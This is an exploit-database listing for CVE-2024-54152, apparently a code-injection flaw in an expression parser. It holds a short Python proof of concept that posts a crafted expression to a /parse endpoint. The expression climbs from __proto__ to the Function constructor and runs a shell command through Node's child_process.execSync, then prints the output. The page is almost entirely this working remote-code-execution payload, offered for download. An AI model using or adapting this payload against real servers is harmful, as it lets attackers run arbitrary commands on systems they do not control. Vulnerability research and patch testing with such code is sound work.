Exploit database

GH-9833d5aacb43ccf6d76dfdc06d5f2038

math-x-io/cve-2024-54152

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-54152

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5
math-x-io/cve-2024-54152Revision 4c6d8e10d03e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 621 bytes
import requests

target_url = "http://localhost:8080/parse"

malicious_payload = {
    "expression": "__proto__.toString.constructor('require(\"child_process\").execSync(\"id\").toString()')()"
}

try:
    print(f"Sending payload to {target_url}...")
    response = requests.post(target_url, json=malicious_payload)

    if response.status_code == 200:
        print("Application response (command output):")
        print(response.json().get("result", "No output"))
    else:
        print(f"Error: Received status code {response.status_code}.")
except Exception as e:
    print(f"Error while sending the payload: {e}")